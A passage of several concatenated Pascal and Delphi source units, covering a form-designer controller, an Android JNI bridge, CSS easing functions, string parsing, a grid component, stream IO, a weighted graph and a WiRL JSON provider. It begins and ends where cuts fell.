( crHandPoint{crArrow}, crSizeNWSE, crSizeNS, crSizeNESW, crSizeWE, crSizeWE,
crSizeNESW, crSizeNS, crSizeNWSE );
begin
Result := true;
if FMouseIsDown then
begin
if FMouseTool <> nil then
FMouseTool.MouseMove(Shift, X, Y);
end else
if (Count > 0) and (FindControl(X, Y) <> Container) then
Windows.SetCursor(Screen.Cursors[cCurs[Handles[0].HitRect(X, Y)]])
else
Windows.SetCursor(Screen.Cursors[crDefault]);
end;
function TDesignController.DesignMouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer): Boolean;
begin
Result := true;
if FMouseIsDown then
begin
FMouseIsDown := false;
Mouse.Capture := 0;
if FClicked <> nil then
FClicked.Parent.EnableAlign;
if FMouseTool <> nil then
try
FMouseTool.MouseUp(Button, Shift, X, Y);
FDragRect := LrValidateRect(FMouseTool.DragRect);
case FDragMode of
dmCreate:
begin
if FClicked <> nil then
Selected := FClicked;
AddComponent;
end;
//
else SelectionChange;
end;
finally
FreeAndNil(FMouseTool);
end;
FClicked := nil;
end;
end;
function TDesignController.GetSelectedContainer: TWinControl;
begin
if (Selected = nil) or (Count > 1) then
Result := Container
else if (Selected is TWinControl) and
(csAcceptsControls in Selected.ControlStyle) then
Result := TWinControl(Selected)
else
Result := Selected.Parent;
end;
procedure TDesignController.UpdateDesigner;
var
i: Integer;
begin
for i := 0 to Pred(Count) do
Handles[i].UpdateHandles;
end;
function TDesignController.ContainerToSelectedContainer(
const inPt: TPoint): TPoint;
var
c: TControl;
begin
Result := inPt;
c := SelectedContainer;
while (c <> Container) and (c <> nil) do
begin
Dec(Result.X, c.Left);
Dec(Result.Y, c.Top);
c := c.Parent;
end;
end;
procedure TDesignController.DragRectToDragBounds;
begin
with FDragBounds do
begin
TopLeft := ContainerToSelectedContainer(FDragRect.TopLeft);
BottomRight := ContainerToSelectedContainer(FDragRect.BottomRight);
end;
end;
procedure TDesignController.AddComponent;
var
cc: TComponentClass;
c: TComponent;
co: TControl;
begin
cc := TComponentClass(GetClass(AddClass));
if (cc <> nil) and (SelectedContainer <> nil) then
begin
c := cc.Create(Owner);
c.Name := LrUniqueName(Owner, AddClass);
if (c is TControl) then
begin
co := TControl(c);
co.Parent := SelectedContainer;
DragRectToDragBounds;
if LrWidth(DragBounds) = 0 then
FDragBounds.Right := FDragBounds.Left + co.Width;
if LrHeight(DragBounds) = 0 then
FDragBounds.Bottom := FDragBounds.Top + co.Height;
co.BoundsRect := DragBounds;
Selected := co;
end;
AddClass := '';
Change;
end;
end;
procedure TDesignController.DeleteComponents;
var
i: Integer;
begin
if Count > 0 then
begin
for i := 0 to Pred(Count) do
Selection[i].Free;
Selected := nil;
Change;
end;
end;
procedure TDesignController.CopyComponents;
var
i: Integer;
begin
with TDesignComponentClipboard.Create do
try
OpenWrite;
try
for i := 0 to Pred(Count) do
SetComponent(Selection[i]);
finally
CloseWrite;
end;
finally
Free;
end;
end;
procedure TDesignController.CutComponents;
begin
CopyComponents;
DeleteComponents;
end;
procedure TDesignController.PasteComponents;
var
c: TComponent;
co: TControl;
p: TWinControl;
begin
with TDesignComponentClipboard.Create do
try
OpenRead;
try
c := GetComponent;
if (c <> nil) then
begin
p := SelectedContainer;
ClearSelection;
repeat
c.Name := LrUniqueName(Owner, c.ClassName);
Owner.InsertComponent(c);
if c is TControl then
begin
co := TControl(c);
with p do
begin
if co.Left > ClientWidth then
co.Left := ClientWidth - co.Width;
if co.Top > ClientHeight then
co.Top := ClientHeight - co.Height;
end;
co.Parent := p;
AddToSelection(co);
end;
c := GetComponent;
until (c = nil);
Change;
end;
finally
CloseRead;
end;
finally
Free;
end;
end;
procedure TDesignController.SelectParent;
begin
if Selected <> nil then
Selected := Selected.Parent;
end;
function TDesignController.DesignKeyUp(inKeycode: Cardinal;
inShift: TShiftState): Boolean;
begin
Result := true;
case inKeycode of
VK_ESCAPE: SelectParent;
VK_DELETE: DeleteComponents;
else Result := false;
end;
if not Result and ((ssCtrl in inShift) or (ssCtrl in FKeyDownShift)) then
begin
Result := true;
case inKeycode of
Ord('C'): CopyComponents;
Ord('X'): CutComponents;
Ord('V'): PasteComponents;
else Result := false;
end;
if Result then
Beep;
end;
end;
function TDesignController.DesignKeyDown(inKeycode: Cardinal;
inShift: TShiftState): Boolean;
begin
Result := false;
FKeyDownShift := inShift;
end;
end.
|
//
// Generated by JavaToPas v1.5 20160510 - 150254
////////////////////////////////////////////////////////////////////////////////
unit android.icu.util.ByteArrayWrapper;
interface
uses
AndroidAPI.JNIBridge,
Androidapi.JNI.JavaTypes,
java.nio.ByteBuffer;
type
JByteArrayWrapper = interface;
JByteArrayWrapperClass = interface(JObjectClass)
['{843FDD2B-CB5E-4B71-93CC-A2067B161C85}']
function &set(src : TJavaArray<Byte>; start : Integer; limit : Integer) : JByteArrayWrapper; cdecl;// ([BII)Landroid/icu/util/ByteArrayWrapper; A: $11
function _Getbytes : TJavaArray<Byte>; cdecl; // A: $1
function _Getsize : Integer; cdecl; // A: $1
function append(src : TJavaArray<Byte>; start : Integer; limit : Integer) : JByteArrayWrapper; cdecl;// ([BII)Landroid/icu/util/ByteArrayWrapper; A: $11
function compareTo(other : JByteArrayWrapper) : Integer; cdecl; // (Landroid/icu/util/ByteArrayWrapper;)I A: $1
function ensureCapacity(capacity : Integer) : JByteArrayWrapper; cdecl; // (I)Landroid/icu/util/ByteArrayWrapper; A: $1
function equals(other : JObject) : boolean; cdecl; // (Ljava/lang/Object;)Z A: $1
function hashCode : Integer; cdecl; // ()I A: $1
function init : JByteArrayWrapper; cdecl; overload; // ()V A: $1
function init(bytesToAdopt : TJavaArray<Byte>; size : Integer) : JByteArrayWrapper; cdecl; overload;// ([BI)V A: $1
function init(source : JByteBuffer) : JByteArrayWrapper; cdecl; overload; // (Ljava/nio/ByteBuffer;)V A: $1
function releaseBytes : TJavaArray<Byte>; cdecl; // ()[B A: $11
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
procedure _Setbytes(Value : TJavaArray<Byte>) ; cdecl; // A: $1
procedure _Setsize(Value : Integer) ; cdecl; // A: $1
property bytes : TJavaArray<Byte> read _Getbytes write _Setbytes; // [B A: $1
property size : Integer read _Getsize write _Setsize; // I A: $1
end;
[JavaSignature('android/icu/util/ByteArrayWrapper')]
JByteArrayWrapper = interface(JObject)
['{18A70B0E-0587-43D7-976C-674353975873}']
function _Getbytes : TJavaArray<Byte>; cdecl; // A: $1
function _Getsize : Integer; cdecl; // A: $1
function compareTo(other : JByteArrayWrapper) : Integer; cdecl; // (Landroid/icu/util/ByteArrayWrapper;)I A: $1
function ensureCapacity(capacity : Integer) : JByteArrayWrapper; cdecl; // (I)Landroid/icu/util/ByteArrayWrapper; A: $1
function equals(other : JObject) : boolean; cdecl; // (Ljava/lang/Object;)Z A: $1
function hashCode : Integer; cdecl; // ()I A: $1
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
procedure _Setbytes(Value : TJavaArray<Byte>) ; cdecl; // A: $1
procedure _Setsize(Value : Integer) ; cdecl; // A: $1
property bytes : TJavaArray<Byte> read _Getbytes write _Setbytes; // [B A: $1
property size : Integer read _Getsize write _Setsize; // I A: $1
end;
TJByteArrayWrapper = class(TJavaGenericImport<JByteArrayWrapperClass, JByteArrayWrapper>)
end;
implementation
end.
|
unit Pospolite.View.CSS.Animation;
{
+-------------------------+
| Package: Pospolite View |
| Author: Matek0611 |
| Email: matiowo@wp.pl |
| Version: 1.0p |
+-------------------------+
Comments:
...
}
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, math, dateutils, Pospolite.View.Basics,
Pospolite.View.Drawing.Basics;
type
// https://developer.mozilla.org/en-US/docs/Web/CSS/easing-function
TPLCSSTimingFunction = function(ATime: TPLFloat; const AParams: array of const): TPLPointF of object;
{ TPLCSSTimingFunctions }
TPLCSSTimingFunctions = packed class sealed
public
class function CubicBezier(ATime: TPLFloat; const AParams: array of const): TPLPointF;
class function Steps(ATime: TPLFloat; const AParams: array of const): TPLPointF;
class function Linear(ATime: TPLFloat; const {%H-}AParams: array of const): TPLPointF;
class function Ease(ATime: TPLFloat; const {%H-}AParams: array of const): TPLPointF;
class function EaseIn(ATime: TPLFloat; const {%H-}AParams: array of const): TPLPointF;
class function EaseOut(ATime: TPLFloat; const {%H-}AParams: array of const): TPLPointF;
class function EaseInOut(ATime: TPLFloat; const {%H-}AParams: array of const): TPLPointF;
class function GetFunction(const AName: TPLString): TPLCSSTimingFunction;
end;
TPLCSSTransitionEvent = procedure(const APropertyName, APseudoElement: TPLString;
const AElapsedTime: TPLFloat) of object;
{ TPLCSSTransition }
TPLCSSTransition = packed class
private
FHTMLObject: TPLHTMLObject;
FOnCancel: TPLCSSTransitionEvent;
FOnEnd: TPLCSSTransitionEvent;
FOnRun: TPLCSSTransitionEvent;
FOnStart: TPLCSSTransitionEvent;
FRunning: TPLBool;
FStarted: TDateTime;
FTProp, FTPseudo: TPLString;
procedure SetHTMLObject(AValue: TPLHTMLObject);
procedure CleanUp;
public
constructor Create(AObject: TPLHTMLObject);
procedure Start;
procedure Cancel;
procedure &End;
property HTMLObject: TPLHTMLObject read FHTMLObject write SetHTMLObject;
property Running: TPLBool read FRunning;
property OnStart: TPLCSSTransitionEvent read FOnStart write FOnStart;
property OnEnd: TPLCSSTransitionEvent read FOnEnd write FOnEnd;
property OnRun: TPLCSSTransitionEvent read FOnRun write FOnRun;
property OnCancel: TPLCSSTransitionEvent read FOnCancel write FOnCancel;
end;
implementation
{ TPLCSSTimingFunctions }
class function TPLCSSTimingFunctions.CubicBezier(ATime: TPLFloat;
const AParams: array of const): TPLPointF;
var
t: TPLFloat absolute ATime;
begin
if Length(AParams) <> 4 then exit(TPLPointF.Create(0, 0));
Result := 3 * t * power(1 - t, 2) * TPLPointF.Create(AParams[0].VExtended^, AParams[1].VExtended^) +
3 * (1 - t) * power(t, 2) * TPLPointF.Create(AParams[2].VExtended^, AParams[3].VExtended^) +
power(t, 3) * TPLPointF.Create(1, 1);
end;
class function TPLCSSTimingFunctions.Steps(ATime: TPLFloat;
const AParams: array of const): TPLPointF;
var
t: TPLFloat absolute ATime;
n, j: TPLInt;
k: TPLFloat;
o: TPLString;
begin
if Length(AParams) <> 2 then exit(TPLPointF.Create(0, 0));
n := floor64(AParams[0].VInt64^);
o := TPLString(AParams[1].VUnicodeString^).Trim.ToLower;
k := floor64(n * t + ifthen(o in TPLStringFuncs.NewArray(['jump-end', 'end', 'jump-none']), 0, 1));
case o of
'jump-both': j := n + 1;
'jump-none': j := n - 1;
else j := n;
end;
Result := TPLPointF.Create(t, k / j);
end;
class function TPLCSSTimingFunctions.Linear(ATime: TPLFloat;
const AParams: array of const): TPLPointF;
begin
Result := TPLPointF.Create(ATime, ATime); // CubicBezier(ATime, [0.0, 0.0, 1.0, 1.0])
end;
class function TPLCSSTimingFunctions.Ease(ATime: TPLFloat;
const AParams: array of const): TPLPointF;
begin
Result := CubicBezier(ATime, [0.25, 0.1, 0.25, 1.0]);
end;
class function TPLCSSTimingFunctions.EaseIn(ATime: TPLFloat;
const AParams: array of const): TPLPointF;
begin
Result := CubicBezier(ATime, [0.42, 0.0, 1.0, 1.0]);
end;
class function TPLCSSTimingFunctions.EaseOut(ATime: TPLFloat;
const AParams: array of const): TPLPointF;
begin
Result := CubicBezier(ATime, [0.0, 0.0, 0.58, 1.0]);
end;
class function TPLCSSTimingFunctions.EaseInOut(ATime: TPLFloat;
const AParams: array of const): TPLPointF;
begin
Result := CubicBezier(ATime, [0.42, 0.0, 0.58, 1.0]);
end;
class function TPLCSSTimingFunctions.GetFunction(const AName: TPLString
): TPLCSSTimingFunction;
begin
case AName.Trim.ToLower of
'cubic-bezier': Result := @CubicBezier;
'steps', 'step-start', 'step-end': Result := @Steps;
'ease': Result := @Ease;
'ease-in': Result := @EaseIn;
'ease-out': Result := @EaseOut;
'ease-in-out': Result := @EaseInOut;
else Result := @Linear;
end;
end;
{ TPLCSSTransition }
procedure TPLCSSTransition.SetHTMLObject(AValue: TPLHTMLObject);
begin
if FHTMLObject = AValue then exit;
CleanUp;
FHTMLObject := AValue;
end;
procedure TPLCSSTransition.CleanUp;
begin
FHTMLObject := nil;
end;
constructor TPLCSSTransition.Create(AObject: TPLHTMLObject);
begin
inherited Create;
HTMLObject := AObject;
end;
procedure TPLCSSTransition.Start;
begin
if FRunning then exit;
FRunning := true;
FStarted := Now;
end;
procedure TPLCSSTransition.Cancel;
begin
if not FRunning then exit;
FRunning := false;
if Assigned(FOnCancel) then FOnCancel(FTProp, FTPseudo, SecondOf(Now - FStarted));
end;
procedure TPLCSSTransition.&End;
begin
if not FRunning then exit;
FRunning := false;
end;
end.
|
unit MyStringUtils;
interface
uses
Classes, SysUtils, Windows;
type
{ TMyParser }
TMyParser = class(TObject)
private
FCurrentBlockIndex: Integer;
FCursor: Integer;
FData: WideString;
FDataLen: Integer;
FDelims: WideString;
protected
procedure ExtractCustomBlock(out AValue: PWideChar; out AValueLen: Integer);
function GetSymbol(out W: WideChar): Boolean;
function IsDelim(W: WideChar): Boolean;
function IsSpace(W: WideChar): Boolean;
procedure SkipSpaces;
public
constructor Create(const AData, ADelims: WideString); virtual;
property CurrentBlockIndex: Integer read FCurrentBlockIndex;
function ExtractBlock(out AValue: PWideChar; out AValueLen: Integer): Boolean;
end;
// Strings
TMyStringEncoding = (seUTF16, seUTF8, seANSI);
const
Utf16BOM: array[0..1] of Byte = ($FF, $FE);
Utf16BOMSize = 2;
Utf8BOM: array[0..2] of Byte = ($EF, $BB, $BF);
Utf8BOMSize = 3;
CRLF = #13#10;
CRLFSize = 4;
function StringDetectEncoding(const S: RawByteString; out PrefixSize: Byte): TMyStringEncoding;
function StringToRect(const S: WideString): TRect;
function RectToStr(R: TRect): WideString;
function WideAllocStr(const S: WideString): PWideChar;
implementation
{ TMyParser }
constructor TMyParser.Create(const AData, ADelims: WideString);
begin
FCurrentBlockIndex := -1;
FData := AData;
FDataLen := Length(FData);
FDelims := ADelims;
FCursor := 1;
end;
procedure TMyParser.ExtractCustomBlock(out AValue: PWideChar; out AValueLen: Integer);
var
ALastCursor: Integer;
W: WideChar;
begin
AValueLen := 0;
ALastCursor := FCursor;
while GetSymbol(W) and not IsDelim(W) do
Inc(FCursor);
AValue := @FData[ALastCursor];
AValueLen := FCursor - ALastCursor;
end;
function TMyParser.ExtractBlock(out AValue: PWideChar; out AValueLen: Integer): Boolean;
begin
AValueLen := 0;
if FCursor <= FDataLen then
begin
SkipSpaces;
ExtractCustomBlock(AValue, AValueLen);
Inc(FCurrentBlockIndex);
SkipSpaces;
end;
Result := (AValueLen > 0);
end;
function TMyParser.GetSymbol(out W: WideChar): Boolean;
begin
Result := False;
if FCursor <= FDataLen then
begin
W := FData[FCursor];
Result := True;
end;
end;
function TMyParser.IsDelim(W: WideChar): Boolean;
var
I: Integer;
begin
Result := False;
for I := 1 to Length(FDelims) do
if W = FDelims[I] then Result := True;
end;
function TMyParser.IsSpace(W: WideChar): Boolean;
begin
Result := (W = ' ') or (W = #9) or (W = #13) or (W = #10);
end;
procedure TMyParser.SkipSpaces;
var
W: WideChar;
begin
while GetSymbol(W) and (IsSpace(W) or IsDelim(W)) do
Inc(FCursor);
end;
// Strings
function StringDetectEncoding(const S: RawByteString; out PrefixSize: Byte): TMyStringEncoding;
begin
PrefixSize := 0;
Result := seANSI;
if (Byte(S[1]) = Utf16BOM[0]) and (Byte(S[2]) = Utf16BOM[1]) then
begin
PrefixSize := Utf16BOMSize;
Result := seUTF16;
end;
if (Byte(S[1]) = Utf8BOM[0]) and (Byte(S[2]) = Utf8BOM[1]) and (Byte(S[3]) = Utf8BOM[2]) then
begin
PrefixSize := Utf8BOMSize;
Result := seUTF8;
end;
end;
function StringToRect(const S: WideString): TRect;
var
AParser: TMyParser;
AValue: PWideChar;
AValueLen: Integer;
ATemp: WideString;
begin
Result := Rect(0, 0, 0, 0);
AParser := TMyParser.Create(S, ',');
try
while AParser.ExtractBlock(AValue, AValueLen) do
begin
SetString(ATemp, AValue, AValueLen);
case AParser.CurrentBlockIndex of
0: Result.Left := StrToInt(ATemp);
1: Result.Top := StrToInt(ATemp);
2: Result.Right := StrToInt(ATemp);
3: Result.Bottom := StrToInt(ATemp);
end;
end;
finally
AParser.Free;
end;
end;
function RectToStr(R: TRect): WideString;
begin
Result := IntToStr(R.Left) + ',' + IntToStr(R.Top) + ',' +
IntToStr(R.Right) + ',' + IntToStr(R.Bottom);
end;
function WideAllocStr(const S: WideString): PWideChar;
var
ALen: Integer;
begin
ALen := Length(S);
Result := AllocMem((ALen + 1) * SizeOf(WideChar));
ZeroMemory(Result, (ALen + 1) * SizeOf(WideChar));
Move(S[1], Result^, ALen * SizeOf(WideChar));
end;
end.
|
unit SDUStringGrid;
// Description: StringGrid with extra functionality
// By Sarah Dean
// Email: sdean12@sdean12.org
// WWW: http://www.SDean12.org/
//
// -----------------------------------------------------------------------------
//
interface
uses
Grids;
type
TSDUStringGrid = class(TStringGrid)
protected
function GetColVisible(ACol: integer): boolean;
procedure SetColVisible(ACol: integer; visible: boolean);
public
procedure SortGrid(colIdx: integer);
procedure AutoSizeGridColumn(ACol: integer);
property ColVisible[ACol: integer]: boolean read GetColVisible write SetColVisible;
end;
procedure Register;
implementation
uses
Classes,
Math;
procedure Register;
begin
RegisterComponents('SDeanUtils', [TSDUStringGrid]);
end;
// Sort grid by column colIdx
// Note: Ignores fixed column
procedure TSDUStringGrid.SortGrid(colIdx: integer);
var
stlColContent: TStringList;
i: integer;
j: integer;
newPositions: array of integer;
begin
stlColContent:= TStringList.Create();
try
// Make a temp copy of the column's contents...
stlColContent.Assign(self.Cols[colIdx]);
// Mark each item's current position in the grid
for i:=0 to (stlColContent.count - 1) do
begin
stlColContent.Objects[i] := TObject(i);
end;
// Delete fixed rows...
for i:=1 to self.FixedRows do
begin
stlColContent.Delete(0);
end;
SetLength(newPositions, stlColContent.count);
// Sort...
stlColContent.Sorted := TRUE;
for i:=0 to (stlColContent.count - 1) do
begin
newPositions[i] := integer(stlColContent.Objects[i]);
end;
for i:=low(newPositions) to high(newPositions) do
begin
self.moverow(newPositions[i], i+1);
for j:=i+1 to high(newPositions) do
begin
if (newPositions[j] < newPositions[i]) then
begin
newPositions[j] := newPositions[j] + 1;
end;
end;
end;
finally
stlColContent.Free();
end;
end;
function TSDUStringGrid.GetColVisible(ACol: integer): boolean;
begin
Result := (ColWidths[ACol] = 0);
end;
procedure TSDUStringGrid.SetColVisible(ACol: integer; visible: boolean);
begin
if visible then
begin
// This is wrong - should revert the width back to whatever it was
// previously
AutoSizeGridColumn(ACol)
end
else
begin
// Crude, but...
// Note: If this is changed, GetColVisible(...) must also be changed
ColWidths[ACol] := 0;
end;
end;
// Automatically resize a TStringGrid column to the width of the widest string
// it holds
procedure TSDUStringGrid.AutoSizeGridColumn(ACol: integer);
var
i: integer;
maxX: integer;
begin
maxX := 0;
for i:=0 to (RowCount - 1) do
begin
maxX := max(Canvas.TextWidth(cells[ACol, i]), maxX);
end;
ColWidths[ACol] := maxX + GridLineWidth + 3;
end;
END.
|
unit InflatablesList_ItemShopTemplate_IO;
{$INCLUDE '.\InflatablesList_defs.inc'}
interface
uses
Classes,
AuxTypes,
InflatablesList_ItemShopTemplate_Base;
const
IL_SHOPTEMPLATE_SIGNATURE = UInt32($4C504D54); // TMPL
IL_SHOPTEMPLATE_STREAMSTRUCTURE_00000000 = UInt32($00000000);
IL_SHOPTEMPLATE_STREAMSTRUCTURE_00000001 = UInt32($00000001);
IL_SHOPTEMPLATE_STREAMSTRUCTURE_SAVE = IL_SHOPTEMPLATE_STREAMSTRUCTURE_00000001;
type
TILItemShopTemplate_IO = class(TILItemShopTemplate_Base)
protected
fFNSaveToStream: procedure(Stream: TStream) of object;
fFNLoadFromStream: procedure(Stream: TStream) of object;
procedure InitSaveFunctions(Struct: UInt32); virtual; abstract;
procedure InitLoadFunctions(Struct: UInt32); virtual; abstract;
procedure Save(Stream: TStream; Struct: UInt32); virtual;
procedure Load(Stream: TStream; Struct: UInt32); virtual;
public
procedure SaveToStream(Stream: TStream); virtual;
procedure LoadFromStream(Stream: TStream); virtual;
procedure SaveToFile(const FileName: String); virtual;
procedure LoadFromFile(const FileName: String); virtual;
end;
implementation
uses
SysUtils,
BinaryStreaming, StrRect;
procedure TILItemShopTemplate_IO.Save(Stream: TStream; Struct: UInt32);
begin
InitSaveFunctions(Struct);
fFNSaveToStream(Stream);
end;
//------------------------------------------------------------------------------
procedure TILItemShopTemplate_IO.Load(Stream: TStream; Struct: UInt32);
begin
InitLoadFunctions(Struct);
fFNLoadFromStream(Stream);
end;
//==============================================================================
procedure TILItemShopTemplate_IO.SaveToStream(Stream: TStream);
begin
Stream_WriteUInt32(Stream,IL_SHOPTEMPLATE_SIGNATURE);
Stream_WriteUInt32(Stream,IL_SHOPTEMPLATE_STREAMSTRUCTURE_SAVE);
Save(Stream,IL_SHOPTEMPLATE_STREAMSTRUCTURE_SAVE);
end;
//------------------------------------------------------------------------------
procedure TILItemShopTemplate_IO.LoadFromStream(Stream: TStream);
begin
If Stream_ReadUInt32(Stream) = IL_SHOPTEMPLATE_SIGNATURE then
Load(Stream,Stream_ReadUInt32(Stream))
else
raise Exception.Create('TILItemShopTemplate_IO.LoadFromStream: Invalid stream.');
end;
//------------------------------------------------------------------------------
procedure TILItemShopTemplate_IO.SaveToFile(const FileName: String);
var
FileStream: TMemoryStream;
begin
FileStream := TMemoryStream.Create;
try
SaveToStream(FileStream);
FileStream.SaveToFile(StrToRTL(FileName));
finally
FileStream.Free;
end;
end;
//------------------------------------------------------------------------------
procedure TILItemShopTemplate_IO.LoadFromFile(const FileName: String);
var
FileStream: TMemoryStream;
begin
FileStream := TMemoryStream.Create;
try
FileStream.LoadFromFile(StrToRTL(FileName));
FileStream.Seek(0,soBeginning);
LoadFromStream(FileStream);
finally
FileStream.Free;
end;
end;
end.
|
unit ImgCtrlsReg;
interface
uses
BitmapContainers,
ScrollingImage,
ScrollingImageAddons,
TexturePanel;
procedure Register;
implementation
{$R *.res}
uses Windows, SysUtils, Consts, Classes, DesignIntf, DesignEditors, VCLEditors;
{ TImgCtrlsStretchModeProperty }
type
TImgCtrlsStretchModeProperty = class(TIntegerProperty)
public
function GetAttributes: TPropertyAttributes; override;
function GetValue: string; override;
procedure GetValues(Proc: TGetStrProc); override;
procedure SetValue(const Value: string); override;
end;
const
STRETCH_MODE: array[1..MAXSTRETCHBLTMODE] of PChar =
('BLACKONWHITE',
'WHITEONBLACK',
'COLORONCOLOR',
'HALFTONE');
function TImgCtrlsStretchModeProperty.GetAttributes: TPropertyAttributes;
begin
Result := [paValueList];
end;
function TImgCtrlsStretchModeProperty.GetValue: string;
var
Value: Integer;
begin
Value := GetOrdValue;
if (Value >= 1) and (Value <= MAXSTRETCHBLTMODE) then
Result := STRETCH_MODE[Value]
else
Result := '';
end;
procedure TImgCtrlsStretchModeProperty.GetValues(Proc: TGetStrProc);
var
I: Integer;
begin
for I := Low(STRETCH_MODE) to High(STRETCH_MODE) do Proc(STRETCH_MODE[I]);
end;
procedure TImgCtrlsStretchModeProperty.SetValue(const Value: string);
var
I: Integer;
begin
for I := Low(STRETCH_MODE) to High(STRETCH_MODE) do
if AnsiCompareText(Value, STRETCH_MODE[I]) = 0 then
begin
SetOrdValue(I);
Exit;
end;
raise Exception.Create(SInvalidNumber);
end;
procedure Register;
begin
RegisterComponents(
'Image Controls',
[TBitmapContainer,
TBitmapPanel,
TScrollingImage,
TFastScrollingImage,
TSBScrollingImage,
TScrollingImageNavigator,
TTexturePanel]);
RegisterPropertyEditor(TypeInfo(TStretchMode), TCustomScrollingImage, '', TImgCtrlsStretchModeProperty);
end;
end. |
/// <summary> 稠密图 - 邻接矩阵 </summary>
unit DSA.Graph.DenseWeightedGraph;
{$mode objfpc}{$H+}
interface
uses
Classes,
SysUtils,
Rtti,
DSA.Interfaces.DataStructure,
DSA.Graph.Edge;
type
generic TDenseWeightedGraph<T> = class(specialize TWeightGraph<T>)
private
type
//TEdge_T = specialize TEdge<T>;
TArray_Edge = specialize TArray<TEdge_T>;
var
__vertex: integer; // 节点数
__edge: integer; // 边数
__directed: boolean; // 是否为有向图
__graphData: array of array of TEdge_T; // 图的具体数据
public
constructor Create(n: integer; directed: boolean);
destructor Destroy; override;
/// <summary> 向图中添加一个边 </summary>
procedure AddEdge(v, w: integer; weight: T); override;
/// <summary> 验证图中是否有从v到w的边 </summary>
function HasEdge(v, w: integer): boolean; override;
/// <summary> 返回节点个数 </summary>
function Vertex: integer; override;
/// <summary> 返回边的个数 </summary>
function Edge: integer; override;
/// <summary> 返回图中一个顶点的所有邻边 </summary>
function AdjIterator(v: integer): TArray_Edge; override;
procedure Show; override;
end;
procedure Main;
implementation
uses
DSA.Graph.SparseWeightedGraph,
DSA.Utils;
type
TDenseWeightedGraph_dbl = specialize TDenseWeightedGraph<double>;
TSparseWeightedGraph_dbl = specialize TSparseWeightedGraph<double>;
TWeightGraph_dbl = specialize TWeightGraph<double>;
TReadGraphWeight_dbl = specialize TReadGraphWeight<double>;
procedure Main;
var
g: TWeightGraph_dbl;
FileName: string;
begin
FileName := WEIGHT_GRAPH_FILE_NAME_1;
g := TDenseWeightedGraph_dbl.Create(8, False);
TReadGraphWeight_dbl.Execute(g, FILE_PATH + FileName);
WriteLn('test G1 in Dense Weighted Graph:');
g.Show;
TDSAUtils.DrawLine;
g := TSparseWeightedGraph_dbl.Create(8, False);
TReadGraphWeight_dbl.Execute(g, FILE_PATH + FileName);
WriteLn('test G1 in Sparse Weighted Graph:');
g.Show;
end;
{ TDenseWeightedGraph }
constructor TDenseWeightedGraph.Create(n: integer; directed: boolean);
begin
Assert(n > 0);
__vertex := n;
__edge := 0;
__directed := directed;
SetLength(__graphData, n, n);
end;
procedure TDenseWeightedGraph.AddEdge(v, w: integer; weight: T);
begin
Assert((v >= 0) and (v < __vertex));
Assert((w >= 0) and (w < __vertex));
if (HasEdge(v, w) = True) or (v = w) then
Exit;
__graphData[v][w] := TEdge_T.Create(v, w, weight);
if __directed = False then
__graphData[w][v] := TEdge_T.Create(v, w, weight);
Inc(__edge);
end;
function TDenseWeightedGraph.AdjIterator(v: integer): TArray_Edge;
var
i, n: integer;
ret: TArray_Edge = nil;
begin
for i := 0 to High(__graphData[v]) do
begin
if __graphData[v][i] <> nil then
begin
n := Length(ret);
SetLength(ret, n + 1);
ret[n] := __graphData[v][i];
end;
end;
Result := ret;
end;
destructor TDenseWeightedGraph.Destroy;
var
i, j: integer;
begin
for i := 0 to High(__graphData) do
begin
for j := 0 to High(__graphData[i]) do
begin
if __graphData[i][j] <> nil then
__graphData[i][j].Free;
end;
end;
inherited Destroy;
end;
function TDenseWeightedGraph.Edge: integer;
begin
Result := __edge;
end;
function TDenseWeightedGraph.HasEdge(v, w: integer): boolean;
begin
Assert((v >= 0) and (v < __vertex));
Assert((w >= 0) and (w < __vertex));
Result := __graphData[v][w] <> nil;
end;
procedure TDenseWeightedGraph.Show;
var
i, j: integer;
begin
for i := 0 to High(__graphData) do
begin
for j := 0 to High(__graphData[i]) do
begin
if __graphData[i][j] <> nil then
begin
Write(__graphData[i][j].Weight.ToString, #9);
end
else
Write('nil', #9);
end;
WriteLn;
end;
end;
function TDenseWeightedGraph.Vertex: integer;
begin
Result := __vertex;
end;
end.
|
PROGRAM Sum_;
VAR sum, count, value: INTEGER;
BEGIN
sum := 0;
count := 1;
ReadLn(value); {* Step 0 *}
WHILE value > 0 DO BEGIN
sum := sum + value; {* Step 1 *}
IF (count mod 3) = 0 THEN
BEGIN
WriteLn('Sum: ', sum);
sum := 0 {* Step 3 *}
END;
count := count + 1;
ReadLn(value) {* Steps 2 *}
END;
If sum > 0 THEN
WriteLn('Sum: ', sum) {* Step 4 *}
END.
|
{******************************************************************************}
{ }
{ WiRL: RESTful Library for Delphi }
{ }
{ Copyright (c) 2015-2019 WiRL Team }
{ }
{ https://github.com/delphi-blocks/WiRL }
{ }
{******************************************************************************}
unit WiRL.MessageBody.SuperObject;
interface
uses
System.Classes, System.SysUtils, System.Rtti, System.TypInfo,
WiRL.Core.Classes,
WiRL.Core.Attributes,
WiRL.Core.Declarations,
WiRL.http.Core,
WiRL.Rtti.Utils,
WiRL.http.Request,
WiRL.http.Response,
WiRL.http.Headers,
WiRL.http.Accept.MediaType,
WiRL.Core.MessageBodyWriter,
WiRL.Core.MessageBodyReader,
WiRL.Core.MessageBody.Classes,
WiRL.Core.Exceptions,
SuperObject;
type
[Consumes(TMediaType.APPLICATION_JSON)]
[Produces(TMediaType.APPLICATION_JSON)]
TWiRLSuperObjectProvider = class(TMessageBodyProvider)
public
function ReadFrom(AType: TRttiType; AMediaType: TMediaType;
AHeaders: IWiRLHeaders; AContentStream: TStream): TValue; override;
procedure WriteTo(const AValue: TValue; const AAttributes: TAttributeArray;
AMediaType: TMediaType; AHeaders: IWiRLHeaders; AContentStream: TStream); override;
end;
implementation
{ TWiRLSuperObjectProvider }
function TWiRLSuperObjectProvider.ReadFrom(AType: TRttiType; AMediaType: TMediaType;
AHeaders: IWiRLHeaders; AContentStream: TStream): TValue;
begin
Result := TValue.From<ISuperObject>(TSuperObject.ParseStream(AContentStream, True));
end;
procedure TWiRLSuperObjectProvider.WriteTo(const AValue: TValue; const AAttributes: TAttributeArray;
AMediaType: TMediaType; AHeaders: IWiRLHeaders; AContentStream: TStream);
var
LStreamWriter: TStreamWriter;
LSuperObject: ISuperObject;
begin
LStreamWriter := TStreamWriter.Create(AContentStream);
try
if not Supports(AValue.AsInterface, ISuperObject, LSuperObject) then
raise Exception.Create('Invalid type cast');
if Assigned(LSuperObject) then
